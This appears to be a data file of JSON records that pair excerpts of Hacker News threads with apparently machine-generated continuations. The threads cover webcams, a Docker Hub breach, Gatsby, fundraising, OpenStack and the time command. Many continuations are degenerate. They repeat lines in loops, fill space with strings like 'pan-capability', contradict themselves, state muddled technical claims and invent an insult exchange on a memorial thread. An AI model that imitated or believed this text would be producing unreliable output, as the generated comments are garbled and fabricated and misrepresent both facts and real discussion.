built-in microphones.\n\nIn the webcam drivers I have looked at the LED is controlled independently of\ncapturing, although drivers do enable the LED when the camera is used. This\nessentially means that hackers can record and disable the lamp.\n\nI've been considering hacking together some piece of software that will\ncontinuously use the camera (/dev/video) in order to block it for other\napplications, and have it fail with visible alerts if unable to block the\ncamera. Not sure if the same thing can be achieved for"} +{"output_text": "and-climate-change/measuring-reach-and-clp-\nenforcement)\n\n------\njessaustin\nI'm not sure I understand the point of this article. The author seems to be\nsaying that the EU is trying to regulate the use of chemicals in food, but\nthat the EU is not doing a good job of it.\n\n~~~\njessaustin\nI guess I'm not understanding the point of this article. The", "input_text": "'s an indirect reference:\n\n\u201cI would recommend that pregnant women and children eat organic fruits and\nvegetables and avoid using plastic containers and canned food, especially in\nthe microwave, because containers are usually treated on the inside with\nsubstances and compounds that can leak into the tomato soup and may act as\nendocrine disruptors,\u201d he said.\n\n------\nbased2\nChemicals Legislation\n[http://ec.europa.eu/growth/sectors/chemicals/legislation/ind...](http://ec.europa.eu/growth/sectors/chemicals/legislation/index_en.htm)\n\n[http://ec.europa.eu/growth/single-market/european-\nstandards/...](http://ec.europa.eu/growth/single-market/european-\nstandards/harmonised-standards/pesticide-application-equipment/index_en.htm)\n\nMeasuring REACH and CLP Enforcement - new study Published on: 19/05/2015, Last\nupdate: 20/05/2015 [http://ec.europa.eu/growth/tools-\ndatabases/newsroom/cf/itemd...](http://ec.europa.eu/growth/tools-\ndatabases/newsroom/cf/itemdetail.cfm?item_id=8280&lang=en&title=Measuring-\nREACH-and-CLP-Enforcement---new-study)\n\nsrc: [https://www.theparliamentmagazine.eu/articles/eu-\nmonitoring/...](https://www.theparliamentmagazine.eu/articles/eu-\nmonitoring/dg-environment-"} +{"output_text": " that's it.\n\n~~~\nsaagarjha\n> Running Gatsby does NOT make the whole website run on React. It makes a\n> bunch of HTML pages that are statically served - and that's it.\n\nThat's not true. Gatsby is a static site generator, but it also has a\nJavaScript API that allows you to run it as a server-side rendering engine.\n\n~~~\npcr910303\n> That's not true", "input_text": ".\n\nLet's go back to server side rendering, a bit of HTML + CSS and JS and we're\ndone.\n\n~~~\nsaagarjha\nThe author had a specific desire for a toggle on a static site, which requires\na bit of persistent state that CSS can't really capture. (FWIW, I don't care\nfor a toggle and match the system theme on my website as well. But dismissing\nthe author's work with your \"few lines of CSS\" fails to account for the fact\nthat this dark mode does something different than yours.)\n\n~~~\nmemco\nThis doesn't capture all the state correctly even. When you first load the\npage, if it is dark mode the XKCD loads a black on white (aka light) image. If\nyou toggle to light mode and back to dark the XKCD comic becomes a black on\nwhite image. The state of image filters isn't consistent in the current\nimplementation.\n\n~~~\nsaagarjha\nOh, I'm not claiming it does it correctly. (In fact, I have another comment\nthat points out another issue:\n[https://news.ycombinator.com/item?id=22924571](https://news.ycombinator.com/item?id=22924571)).\nBut the claim that I was responding to made incorrect assumptions, and the\nbugs in the implementation don't change that.\n\n------\npcr910303\nSeriously! Should every Gatsby blog post on HN have this useless 'React is\noverkill for static sites' talk?\n\n __ __ _Gatsby is a static site generator!_ __ __\n\nRunning Gatsby does NOT make the whole website run on React. It makes a bunch\nof HTML pages that are statically served - and"} +{"output_text": ", or the space shuttle.\n\n------\njoshu\nI have a bunch of old computers. I have a 486DX2/66, a 486DX4/100, a 486DX4/133\nand a 486DX4/200.\n\nI have a 486DX2/66 because it was the first computer I ever owned. I had a\nfriend who had one and I wanted to play with it. I also had a 486DX4/100 because\n", "input_text": "; I used to have TRS\n80 III and 4 so when I saw I box (don't hit me) of model 100s for 10 euros I\nbought it. They're a very nice addition to my museum and batteries last\nforever. The box had 1 Sharp PC-1211 too. Talking about battery life :)\n\nWhat always amuses me is that my computers from around 2000 are not working\nanymore (heck, most laptops I have from the past 10 years are not even booting\nanymore) while computers from my parents basement which are around 30 years\nold just work like they just came from the shop. Even the Philips computers\nfrom that time who had known capacitor issues in the power circuitry work like\ntime didn't happen.\n\n------\nitalophil\nI used an East German version of the KIM (LC80) for lab experiments. In 1999!\nTying in code was slow and debugging even slower, but the hardware I/O was\neasy, no fuzzing around with RS232. Ahhh, good times.\n\n------\nbrudgers\nI spent several weeks during the Summer of '82 living in dorms and taking\ncollege courses at UCF. My suitemate, John, was writing Petman in machine\ncode, on and for his PET 16. An enduring memory for me and one which reminds\nme that there are programmers who are 100 more productive than others - I was\nat the stage of typing in code from magazines.\n\n------\njgrahamc\nWow. I should really dig out more stuff from my box of old programs. This one\nblog post is at almost 100,000 page views.\n\n------\nSoftwareMaven\nAnd this was just a small utility. Then think about things like the Apollo\nprogram"} +{"output_text": " is to use a service like GitLab or Bitbucket, which have\nbuilt-in security features.\n\n~~~\ndiNgUrAndI\nI don't want to run my own registry. I want to use the one that is already\nthere.\n\n~~~\nlskillen\nI don't know what you mean by \"already there\".\n\nIf you want to use the one that is already there, you can use the one that is\nalready there.", "input_text": "\n\n~~~\nleowoo91\nMost companies get 2FA after the damage is done..\n\n------\nbamboozled\nYou're probably busy, but you might want to update the splash page on Docker\n[https://hub.docker.com](https://hub.docker.com) to notify users of the\nincident?\n\n------\nblcknight\nI did not get any email but my github is showing dozens of failed login\nattempts over the last 3 days.\n\n~~~\nlugg\nSending 190k emails takes time but please update us here if you don't receive\nin a day or so. - curious if their 190k is accurate or downplay spin.\n\n~~~\nM4v3R\nIt takes around 2 hours to send ~200k emails if you use an external email\ngateway and have good outgoing bandwidth.\n\n------\nOperyl\n[https://status.docker.com](https://status.docker.com) still not a mention.\nWonder how long until it is.\n\n~~~\nahmedalsudani\nThat's the wrong place to track a hack. The status page is concerned with\nuptime, not security.\n\n~~~\nOperyl\nI disagree, destroying a ton of keys breaks stuff.\n\n------\ndiNgUrAndI\nWhat are dockerhub's alternatives? No 2FA. That is bad.\n\n~~~\nlskillen\nAs others have stated you could run your own registry or use an alternative\nservice for private repositories, to minimise or eliminate the attack vector.\n\nBy replicating the images (or packages) that you need into your own account,\nyou can minimise the possibility of a bad actor replacing a well-known image\nwith something untrusted.\n\nAn alternative"} +{"output_text": " not able to raise money\nfrom investors?\n\n2\\. Figure out what you want to do with the money.\n\n3\\. Figure out what you want to do with the money.\n\n4\\. Figure out what you want to do with the money.\n\n5\\. Figure out what you want to do with the money.\n\n6\\. Figure out what you want to do with the money.\n\n7\\. Figure out what you want to do with the money.\n", "input_text": "-technical cofounder\", but far less that have the deep, valuable domain\nknowledge being discussed here.\n\n~~~\nbeat\nWell, yeah. Vet your partners. They need to have a realistic and achievable\nidea that makes sense to you. \"Business plan\" becomes their responsibility,\nand it needs to be better than \"collect underpants,???, profit!\", or\n\"Facebook for cats\" or whatever.\n\n------\najcodez\nKeep everything incredibly simple. Follow the standard 10 slide deck pattern.\nFocus on the value your service provides in concrete terms. It\u2019s not the time\nfor subtlety. Spell things out explicitly in big font.\n\nSet the price of shares at $0.10 or a round number. Raise a normal amount of\nmoney like $150k or $250k at a normal valuation like $1M (depends on industry\netc). Get someone close to you to put in any nominal amount like $10k and tell\ninvestors you already have committed funds. If possible use a SAFE contract to\naccept funds faster.\n\nHire a freelance designer to clean up the deck and website home page if that\nis an issue. Ask friends to review both deck and home page. If possible make a\nproduct video walkthrough.\n\nIn meetings keep things friendly. Stick to the plan. Pitch and then ask if\nthey are interested. Answer questions truthfully but in line with\nexpectations. Never complain or give excuses for anything. Follow up\nfrequently because investors are often busy and literally might forget they\nagreed to invest in your co.\n\nSource - closed $250k seed round this month. Woohoo. Back to work.\n\n------\nmodi15\n1\\. First figure out plan B - what happens if you are"} +{"output_text": " trying to be a jerk, but I think it is\nimportant to point out that $12.50/hr is a lot harder to live on than most\npeople think.\n\n~~~\npatio11\n_Really? negative points for a post that simply points out the fact that\n$12.50/hr is a lot harder to live on than most people think?_\n\nI'm not sure what you're getting at. I'm not saying that $12.50/", "input_text": " for $2k/month all in, and the Bay Area would be the\nlast place I'd expect to do so.\n\nI meant \"pays your rent\" quite literally. As in, taking the biggest of your\nfinancial worries away and leaving you only needing to deal with the spending\nmoney part. So you still can't live on your income, but you can coast along\nfor an entire year on $10k savings.\n\nUp to that point, $10k in the bank meant you'd better start scrambling to pick\nup a contract in the next couple months before you run out of money.\n\n~~~\npatio11\n_There aren't many places in the US where you can live for $2k/month all in_\n\n$2,000 / 160 = $12.50, which is substantially higher than the minimum wage in\nall fifty states of the Union, so I'm guessing that there exist at least a few\npeople who are somehow making do...\n\n~~~\nbkmartin\nI'm guessing you've never tried to live on $12.50/hr. And if you take that as\na gross number not a net number its even worse. Sure, people are \"making it\nwork\" but if you aren't single without kids and have zero college debt then\nyou aren't doing it without some sort of assistance. Just because the minimum\nwage is $7.25 or up to $8.55 (depending on the state you live in), doesn't\nmean you can live on it.\n\n~~~\nbkmartin\nReally? negative points for a post that simply points out the fact that\n$12.50/hr is a lot harder to live on that what the majority of people on here\nwant to make it sound? I'm not"} +{"output_text": " dead. He's not going to read this.\n\n~~~\nkarmajunkie\nI'm not sure why you're being so defensive. I'm not saying he's not dead, I'm\nsaying that he's not going to read this.\n\n~~~\nauggierose\nI'm not being defensive. I'm just saying that you're being a dickhead.\n\n~~~\nkarmajunkie\nI'm not being a dickhead. I", "input_text": "? After all,\nthis is where Ruby, as a language, shines!\n\nI bring all this up, because I met Jim at one of the first Ruby conferences I\nhad ever gone to around this time. Though I had been doing Ruby for a couple\nyears, I was relatively new to the conference-going community, and so not part\nof the \"in-crowd\". I remember the highlight of that conference for me was\ntalking with Jim.\n\nHe seemed not to care for the existence of any sort of clique while\nsimultaneously being its unknowing leader. He was very approachable and\nfriendly. But more importantly, he was a great listener and thinker. I\nremember talking with him about my views on TDD and pair-programming (at the\ntime, the view that \"it depends\" was controversial), and how the hype was\nhurting the community. He was one of the few who gave it considerable thought,\nand after discussing it, even encouraged me to give a talk. As someone new to\nthe conference and public developer community, and outside the speaker in-\ncrowd, this was very encouraging.\n\nI had been asking what happened to the joy of just building something in the\ncommunity at that time, but I can honestly say, Jim never lost it.\n\nJim, you'll be missed.\n\n~~~\nauggierose\nI think once you started programming in \"Ruby\", you've given up your right to\ntalk about how to program in the right way. Just saying.\n\n~~~\nkarmajunkie\nI've seen a lot of snide, dickhead comments on HN, but dropping one like that\non a memorial thread for someone like Jim Weirich takes the cake.\n\n~~~\nauggierose\nHe's"} +{"output_text": " based on comments.\n\n~~~\nfreehunter\nI think the problem is that the law is written in such a way that it's\ndifficult to prove that a comment is a \"comment\" or a \"criticism\" or a\n\"commentary\" or a \"commentary\" or a \"criticism\" or a \"comment\" or a\n\"criticism\" or a \"comment\" or a \"criticism\" or a \"comment\" or a", "input_text": "putative buyer).\n\n~~~\n1point2\nAnd there in lies the problem with TOS (or is the problem with the law?) if\none needs to be an attorney to understand them, what hope is there for the\nordinary folk - just saying. No wonder people just click through.\n\n------\nedwinnathaniel\nWatermark the pictures in your blog?\n\nBy the way, I found out that you can watermark all of your images that you're\nabout to upload to Picasa Web via Picasa Desktop (there's an option to do that\nbefore you Sync to Web). I found that feature very useful if you organize your\npictures using Picasa (and show them on your blog).\n\n~~~\nfreehunter\nProblem is, copyright is implied on the part of the creator. It does not need\nto be applied for, nor is there any _requirement_ for a copyright notice.\n\nJust because you didn't watermark your image doesn't mean the copyright now\nbelongs to Pintrest (or imgur, or Google+, or Facebook, etc) because people\nwho didn't hold the copyright and didn't have the standing to give it away\nposted it.\n\n~~~\nicebraining\nAnd that's why you can send a DMCA takedown request and they'll have to take\nit down. I fail to see the problem here.\n\n------\nmtgentry\n'The \u201cpin\u201d button remains inactive until the user types something. Anything.\nMight this count as \u201ccriticizing\u201d or \u201ccommenting\u201d?'\n\nInteresting. I'd like to see a court case further define what constitutes a\n\"comment\" on the web. Other sites do this too, for example Buzzfeed.com's\nentire business model is"} +{"output_text": " a hash).\n\n~~~\nthought_alarm\nIt's a picture of a hash.\n\n------\njoshu\nI'm not sure I like the idea of a \"monkey tail\" sign.\n\n~~~\njoshu\nI guess I'm not the only one who thinks this.\n\n------\njoshu\nI'm not sure I like the idea of a \"monkey tail\" sign.\n\n~~~\njoshu\nI guess", "input_text": " \"Monkey A\" (\u043c\u0430\u0439\u043c\u0443\u043d\u0441\u043a\u043e \u0410)\ni've also heard few people cal it \"rose\" (\u0440\u043e\u0437\u0438\u0447\u043a\u0430)\n\n~~~\ndelian66\nAlso, some people in Bulgaria call the '@' sign \"\u043a\u043b\u044c\u043e\u043c\u0431\u0430\".\n\nAn interesting story about this sign, is that it had been used in a medieval\nBulgarian chronicle dated at 1345. In it, the @ symbol is part of the word\n'\u0410\u043c\u0438\u043d' (amen).\n\n[http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:19-man...](http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:19-manasses-\nchronicle.jpg)\n\n------\nggchappell\nBoth cute and interesting.\n\nNote, however, that the article does not distinguish between what the sign is\n_called_, and how it is _read_. I call it an \"at sign\". I read it \"at\". Now,\nin Dutch it's called a monkey tail (said in Dutch, of course). But that may\nnot be how it is _read_ in Dutch.\n\n------\nthought_alarm\nI can think of a few English pictograms on the standard keyboard:\n\n^ = Hat\n\n* = Star\n\n# = Hash\n\n~ = Squiggle\n\n{ = Curly\n\n~~~\nvacri\nI don't see what 'hash' is a picture of. There is 'cross-hatching' in\nillustration, but that's not the same word (and it's specifically cross-\nhatching, not"} +{"output_text": "-capability-\npan-capability-pan-capability-pan-capability-pan-capability-pan-capability-\npan-capability-pan-capability-pan-capability-pan-capability-pan-capability-\npan-capability-pan-capability-pan-capability-pan-capability-pan-capability-\npan-capability-pan-capability-pan-capability-pan-", "input_text": "downright nasty.\n\n~~~\nnick_kline\nNo, it's different with windows. Linux doesn't have constant forced patches\nfrom the mothership that kill your system. It can happen but it's much rarer.\nWindows used to be better of course (back when i worked there, even though I\ndidn't work on that part ;-)). It's staggering how bad windows maintenance is\nnow.\n\n~~~\nintpx\nHave you met my friend Ubunto 20.04?\n\n~~~\nnick_kline\ntouche\n\n------\nUI_at_80x24\nAnybody else reminded of the dot-com era popular item (fad?): The SCOTTeVEST\n\n(googling shows they are still around).\n\nPower cables (although i don't think the original actually had cables, it did\nhave channels for the cables to run through), data cables, multiple pockets. I\nwanted one until I saw the price tag.\n\n~~~\nrangibaby\nTo me it looks like it belongs on the \u201cLand Warrior\u201d (remember that?)\n\n~~~\nmoftz\nAll that Land Warrior tech is pretty much available now in the form of a small\nPAN that includes a radio, android tablet, and headset. Additional sensors\nlike cameras can hook into the radio to give live video to a command center.\nThe radio battery can run everything or the soldier can wear a larger battery.\nEverything hooks up through what is basically a USB hub combined with an\nethernet switch.\n\nHere is an example of a setup: [https://cdn.glenair.com/star-pan/img/star-pan-\nvi-capability-...](https://cdn.glenair.com/star-pan/img/star-pan-vi"} +{"output_text": " stupid.\n\n~~~\nm0skit0\nI agree, but I think it's a bit too late to change now.\n\n------\nm0skit0\nI think the most important thing is to have a good grid. The grid is the\nfoundation of the whole system.\n\nThe grid is a very complex system, and it's not easy to understand it.\n\nThe grid is a very complex system, and it's not easy to understand it", "input_text": "\nis gonna be useful.\n\n~~~\ngiarc\nAnother crazy one is simply pushing a big heavy train up a hill. Then when you\nneed power just letting it go back down the hill.\n\n[https://www.wired.com/2016/05/forget-elons-batteries-fix-\ngri...](https://www.wired.com/2016/05/forget-elons-batteries-fix-grid-rock-\nfilled-train-hill/)\n\n~~~\n_Microft\nI one-up that with [https://heindl-energy.com/technical-\nconcept/](https://heindl-energy.com/technical-concept/) (city for scale?;)\n\n------\nnoneeeed\nFor anyone interested in power useage and supply patterns you should check out\n[https://gridwatch.co.uk/](https://gridwatch.co.uk/)\n\nIt shows UK power use and generation in realtime, and over various time\nperiods. There is still plenty of room for more renewables, and it shows how\nsolar is actually pretty good in the uk, it generates during the main peak\nperiod in the day.\n\n~~~\ntoomuchtodo\nWorldwide mostly realtime data:\n[https://www.electricitymap.org/?wind=false&solar=false&page=...](https://www.electricitymap.org/?wind=false&solar=false&page=map)\n\n~~~\nm0skit0\nI think France vs Germany in this map is a nice argument in the nuclear vs\n\"renewables\" discussion\n\n~~~\nnoneeeed\nGermany's sudden shift from nuclear without a plan for what to replace it with\nwas just so"} +{"output_text": "\n\n~~~\njimbokun\n\"However, the this-is-compatible-with-racism viewpoint can be disproven by\neither a) assigning people random roommates (no, not random roommates who all\ngot roughly the same SAT scores, want to live in the same state, etc. ), or\nb) seeing if there's a selection process that affects whether people pick\nroommates of one ethnicity based on how closely they stereotypically match the\n", "input_text": " policy.\n\nShit, we have a black president, a female secretary of state and speaker of\nthe house, numerous high-level officials and corporate execs and prominent\nministers, etc. who are openly gay, a soon-to-be Latina supreme court justice,\netc. Times have most definitely changed, and the changes run deep.\n\n------\nbyrneseyeview\nBefore you get too excited, keep in mind that this would also be true in a\nworld in which racists are correct. That's still a world in which college\ngraduates would generally have college graduate roommates, people who wanted\nto live in hip neighborhoods would have roommates who wanted the same, and\npeople who liked to get wasted and listen to loud music would live with folks\nwho had the same tastes.\n\nIt's easy to imagine this applying to age. If an 18-year-old and a 40-year-old\nshare an apartment, it's probably because the 18-year-old is willing to be\nquiet after 10 PM, not smoke pot in the house, etc. Or because the 40-year-old\nis tolerant of late night noise and weed. However, the 18- or 40-year-old\ndoesn't see it that way; to him, that 22-year age difference has surprisingly\nlittle impact on behavior.\n\n _However_, the this-is-compatible-with-racism viewpoint can be disproven by\neither a) assigning people random roommates (no, not _random roommates who all\ngot roughly the same SAT scores, want to live in the same state, etc._ ), or\nb) seeing if there's a selection process that affects whether people pick\nroommates of one ethnicity based on how closely they stereotypically match the\nbehaviors of another."} +{"output_text": "\nif they were not bad.\n\n~~~\njoshu\nI think the point is that they are not bad.\n\n~~~\niheatu\nI don't think they are bad, but they are not good either.\n\n------\njoshu\nI think the problem is that the people who are hiring are not the people who\nare hiring.\n\n------\njoshu\nI think the problem is that the people who are hiring are not the people", "input_text": ". This explicitly considers all colleges the\nsame.\n\nEvery point in the post is an actual suggestion made on how to improve\ndiversity. Obviously not all the suggestions have been implemented, but I'm\nafraid the committee for improving hiring might do just that.\n\n~~~\nubernostrum\nIt's awfully easy to make technically-true but misrepresentative statements\nabout this stuff, though.\n\nFor example, someone might argue that actively seeking out recent graduates of\ncoding bootcamps when hiring for junior positions will help find a more\ndiverse set of candidates. And there's truth here: bootcamps tend to have\nbetter gender and somewhat-better racial balance than university CS\ndepartments or existing tech shops, and bootcamp graduates on average seem to\nbe pretty good (there are selection and maturity and self-motivation effects\nthere which raise quality compared to the typical randomly-chosen bunch os\nCVs).\n\nBut it's technically correct, so long as you don't mind completely misleading\nconnotations, to describe that approach as \"to eliminate racism and sexism,\nhire people who don't have CS degrees and don't have industry experience\" and\nimply it's \"lowering the bar\".\n\nAnd anecdotally, when people make claims like the ones in the OP article, my\nexperience is that it's almost always the case that someone is carefully\nchoosing how they describe things in order to be technically truthful while\nmaliciously misrepresenting the situation in a way that suits their personal\naxe-grinding.\n\n------\niheatu\nI'm not sure who diversity trainers are but some of their suggestions are just\nridiculous and un-inventive. They are bad enough that they might be\npurposefully sabotaging the process. No one would implement these suggestion"} +{"output_text": ":\n\n[http://www.nytimes.com/2010/08/17/magazine/17iht-\ninterview-t...](http://www.nytimes.com/2010/08/17/magazine/17iht-interview-\nthe-worlds-most-liberal-university.html)\n\n------\njamesbritt\nI've been thinking about this a lot lately.\n\nI've been thinking", "input_text": "dkarl\n_For a minority group, Asian-Americans can be surprisingly racist._\n\nEspecially against each other. Nothing like telling your Korean friend how\nmuch you enjoy visiting Japan and watching Miyazaki and Juzo Itami's movies to\nstir up some good old-fashioned hatred. \"They raped my grandmother. They're\nnot human. They don't have souls.\" And then you have to pretend to like Oldboy\nto calm them down.\n\n~~~\nnostrademons\nAgainst themselves too. My friend started a FaceBook group called \"Ambivalent\nAsians - for all the self-hating Orientals out there\". (He is half-Chinese and\nhalf-Japanese, so perhaps he just got both heapings of racism mixed up in the\nsame person...)\n\n------\ncarterschonwald\nI think an important caveat is that if you're stuck with bad roommates,\ntolerance of anything related to those roommates will decrease\n\n------\nlionhearted\nTaking lovers from other places and ethnic groups takes prejudices way down\ntoo. Lying in bed together, half delirious, you can talk about all those\nthings that are taboo to bring up about in polite conversation. That way, you\nactually learn more about a culture's unique traits and idiosyncrasies where\nmost people would be embarrassed to ask about those things to someone they\nknow more casually.\n\n------\namichail\nPerhaps a good way to reduce prejudice is to always exchange resumes when\nmeeting people for the first time -- even in non-work related contexts?\n\n \nLInQer \u2013 C# Integrated Queries ported to Javascript - Siderite\nhttps://github.com/Siderite/LInQer\n======\nskrowl\nMore info here"} +{"output_text": "other_ hand, I\nthink that the fact that the prefix notation is used in Shakespearean English\nis evidence that it is easier to use than the postfix notation.\n\n~~~\njamesbritt\n\"I think my friend who studies Spanish told me that they say the equivalent of\n\"I her it gave\" (meaning \"I gave it to her\"), and I think I remember\nShakespearean English using postfix....Looking at the text of Romeo and Juliet,", "input_text": " that the notation was 2+3, not (+ 2 3).\nThat's why any other notation feels \"unnatural\".\n\nI do wonder if it would be possible to teach kids prefix notation instead, and\nwhether such notation would seem completely natural to them. (I suspect the\nanswer to both is yes.)\n\n~~~\nwaterhouse\nThat is an interesting question. I see one possible argument (whose\ncorrectness I don't know enough to judge, I'm just making it up) why infix is\nmore natural than prefix: A kid will start by seeing an object, and only once\nyou have an object does it make sense to combine it (by addition or whatever)\nwith another object. Also, note that a certain amount of English syntax is\ninfix: \"I went to the store\", not \"Went to I the store\".\n\n...However, I think that in some other languages, _postfix_ notation is\ncommon. I think my friend who studies Spanish told me that they say the\nequivalent of \"I her it gave\" (meaning \"I gave it to her\"), and I think I\nremember Shakespearean English using postfix....Looking at the text of Romeo\nand Juliet, I see both prefix and postfix.\n\n \n \n Prefix: \"O, where is Romeo? saw you him to-day?\"\n Postfix: \"The which if you with patient ears attend\"\n \n\nOn the one hand, we could say that, since these plays were apparently rather\nsuccessful, people obviously didn't have too much trouble understanding them.\nOn the other hand, since this sort of strange permutation has been mostly\ndropped from common usage (so that I recognize it as strange), that may be\nevidence that these things are just harder to use. On the _"} +{"output_text": "\nof streaming.\n\n~~~\njfengel\nI'm not sure I agree. I've been watching a lot of movies on Netflix lately,\nand I'm finding that I'm not really missing anything.\n\nI'm not sure I'd call it a canon, but I've been watching a lot of movies on\nNetflix lately, and I'm finding that I'm not really missing anything.\n\n~~~\nMediterraneo10\nI\u2019m not sure", "input_text": ".session()\n # now use session like you would requests\n session.get(\"http://httpbin.org/cookies/set/name/value\")\n print(session.get(\"http://httpbin.org/cookies\").content)\n\n~~~\ncatwind7\noh I need to try that - I had this feeling that there was a more stateful\nversion but for..... some reason... reaching for a new dependency felt\neasier at the time haha. Thanks\n\n------\ngabrielsroka\nSee also \"Where to Find Roger Ebert\u2019s Great Movies Streaming\" [0] which has US\nlistings for Netflix, Amazon Prime, Hulu, Disney Plus, Criterion Channel,\nKanopy, HBO, Starz, and Showtime as of March 2020.\n\n[0] [https://www.rogerebert.com/features/where-to-find-roger-\neber...](https://www.rogerebert.com/features/where-to-find-roger-eberts-great-\nmovies-streaming)\n\n------\njyriand\nI guess this list of movies applies to people who live in US. Available movies\ndiffer substantially between countries. With Netflix it's easy, it doesn't\neven show the movie you can't watch, with Amazon you have to click through\nevery movie you are interested in to see the screen that says that this movie\nis not available in your region. There are even series where only one or two\nepisodes are unavailable.\n\n------\nMediterraneo10\nIt is the fact that we have a relatively agreed-upon canon of great films\n(with immense re-watch value over the years) that keeps me torrenting instead"} +{"output_text": " others.\n\nI'm not sure what the author is talking about. I don't think I ever had to\n\"deploy\" anything. I just ran the scripts and it worked.\n\n~~~\nyeukhon\nI think the author is talking about the \"cloud\" part of OpenStack.\n\nI think the author is talking about the \"cloud\" part of OpenStack.\n\n~~~\nkordless\nI think you're right. I was talking about the \"", "input_text": " tell them how to invest their infrastructure dollars?\nQuite possibly no, because software development and infrastructure are\ntypically held at arms length. But even when they are not in a \"proper\" DevOps\nshop, the ballgame of which cloud is then subservient to developer convenience\nand how easy it is to deploy software to a cloud and how productive developers\nare writing software for that cloud.\n\nSo yes, the purpose of OpenStack and Container technologies are very different\nand I appreciate that technically. In terms of real world value to me as a\nsoftware developer, however, I have platform problems not infrastructure\nproblems. I don't care what the infrastructure is under the service so long as\nit provides a stable, reliable platform for me to build upon. Containers\nabstract that for me in a way that solves real platform problems that\nOpenStack was only ever relevant to me in so far as its ability to once hint\nat a possible solution to. That's not fair and that was expecting too much\nfrom OpenStack at the time, but that's life.\n\n~~~\nyeukhon\nOkay, I was reading it as defending why container would solve what OpenStack\nwas set out to solve, which is the proposition I read from the OP I was\nreplying to.\n\nOf course, I would advise against running a private cloud unless there is a\ndedicated team of at least a dozen or so. I applaud Digital Ocean for able to\nsurvive and make good business from their private cloud. As a developer I\ntotally agree I just want my code to be deployed and that all the appendices\nare deployed and configured.\n\n------\nkordless\nI ran an OpenStack cluster in my house for a few years. The deployment was\nmanaged by a bunch of scripts which I wrote and published to help"} +{"output_text": " by being honest with yourself.\n\n------\nmatt_the_bass\nI\u2019m in Tokyo and have been for the last 5 years. I\u2019ve been working on a\nstartup for the last 2 years.\n\nI\u2019ve been here for a while and have been working on my own startup. I\u2019ve\nlearned a lot about the startup scene here.\n\nI\u2019ve been working on my own startup for the last 2 years. I\u2019", "input_text": "ai\nSlack channel: [https://hnkansai-slack.now.sh/](https://hnkansai-\nslack.now.sh/)\n\nLots of entrepreneurs and developers in there :)\n\n------\nmproud\nDo you follow any Gaijin programmers or entrepreneurs who live in Japan?\n\nYou should try contacting the guy at Kalzumeus Software\n([https://www.kalzumeus.com](https://www.kalzumeus.com)).\n\n------\nguytv\nPlease call: 03 5774 0992. Its a hotline that can offer some relief.\n\n------\ngaspoweredcat\nwhat is the focus of your business?\n\n~~~\ngiancarlostoro\nThis is one of the more important questions. You need a vision for your\ncompany aside from \"be my own boss\" something to build or look forward to. Are\nyou wanting to do consulting or do software contracts? Or some sort of product\n/ type of products maybe?\n\n------\nBakary\nThere's something oddly uplifting about all the responses in this thread put\ntogether that I haven't experienced in a long time.\n\n------\nadamgoodapp\nMaybe try running the company with a partner if possible. Can help you share\nthe burden and have some one to go through the experience together.\n\n------\naround_here\nMate, there are things you can do. Hop on the Tokyo slack, come have a chat in\nthe #advice channel.\n\n------\nvnjp\ni am foreigner started a small company in Tokyo in 2014. i dont have many\npapers to fill in except annual tax report. what kind of papers do you need to\nsubmit?\n\n------\ngnadx\nYou can get through this"} +{"output_text": " is a good demonstration of the difference between time and /usr/bin/time.\n\n------\njcoffland\nI think the author is confusing time with /usr/bin/time. /usr/bin/time is a\ncommand that can time a complete pipeline. It is not a builtin.\n\n~~~\njimrandomh\nIt's not a builtin, but it's a shell builtin.\n\n~~~\njcoffland\nI'm", "input_text": " SAT\nscore by knowing their family income, or that you can predict their family\nincome by knowing their SAT score.\n\n------\nsnambi\nMy father used to tell me this \"Provide education for free to those who really\nwant it and deserve it. If not provide it only those who can pay for it\".\n\nMy father was a professor in India, where college education is free. All state\nfunded colleges are free and most of them are easy to get into. But most of\nthe students are not interested in learning, they come to college for time\npass. So, free education should be given to only those who deserve.\n\n \n/usr/bin/time: not the command you think you know - activatedgeek\nhttps://hackernoon.com/usr-bin-time-not-the-command-you-think-you-know-34ac03e55cc3\n======\njimrandomh\nThe reason 'time' is a builtin is because it can time a complete shell\npipeline, not just a single command. If you type\n\n \n \n time foo |bar\n \n\nThen the result is the total time taken by foo and bar together. This requires\nit to have special-case syntax. Whereas\n\n \n \n /usr/bin/time foo |bar\n \n\nWould run foo and give its time statistics as input to bar.\n\n~~~\njcoffland\nRun these commands for a better demonstration:\n\n \n \n time echo | sleep 1\n \n\nvs.\n\n \n \n /usr/bin/time echo | sleep 1\n \n\nThe former times the entire pipeline whereas the later only times the first\ncommand in the pipe.\n\n~~~\nfnord123\nThis"} +{"output_text": " code is downloaded.\n\nThat's not true. The app is downloaded, and then it's executed in a\nsandboxed environment.\n\n~~~\nalgesten\nI'm not sure what you mean. The app is downloaded, and then it's executed in\na sandboxed environment.\n\n------\njoshstrange\nI'm not sure why this is a big deal. I've been using Firebase for a few years\nnow and I've never had", "input_text": " and\npractices. Rollout notes both on their FAQ site and in a longer blog post that\ntheir process is in compliance.\n\n[https://www.fireeye.com/blog/threat-\nresearch/2016/04/rollout...](https://www.fireeye.com/blog/threat-\nresearch/2016/04/rollout_or_not_the.html)\n\n~~~\nobstinate\nA ton of games do this and it is incredibly annoying. I don't want to download\nan update, then have to download an update. I only wish the same restriction\napplied to my Android device.\n\n~~~\njustinhj\nMost likely most games are updating only game related data and graphics files.\nVery few games actually use internal scripting that would be needed to do code\nupdates\n\n~~~\nAngostura\nThe only app I've got that appears to actually update itself without going\nthrough the AppStore is the HSBC mobile banking app. I'd be interested in\nhearing the discussions going on between Apple and HSBC at the moment.\n\n~~~\nalgesten\nJudging by how sluggish and annoying the HSBC app is, I think it is a web app\nframed in a thin launcher from the app store.\n\nI.e. it downloads a bunch of javascript/html/css and that executes within a\nUIWebView/WKWebView. Using caching and localStorage, you can construct such an\napp to not need to download everything on each launch.\n\nThe reason that's allowed is because everything executes within a sandboxed\nbrowser environment. No native code is downloaded.\n\n~~~\nmikeash\n> The reason that's allowed is because everything executes within a sandboxed\n> browser environment. No native"} +{"output_text": " the infrastructure details than OpenStack\never did.\n\n~~~\njosh2600\nI think you're right.\n\nI think the problem is that OpenStack is a very complex beast. It's a\ndistributed system that has to be managed by a large team of people.\n\nContainers are a simpler beast. They're a single process that can be managed\nby a single person.\n\nI think the problem is that OpenStack is a very complex beast. It", "input_text": "\nin the OpenStack efforts: as a developer OpenStack doesn't directly interest\nme because I don't care about infrastructure. Where OpenStack had a\npossibility to win was to provide options for infrastructure agnosticism: if I\ncan 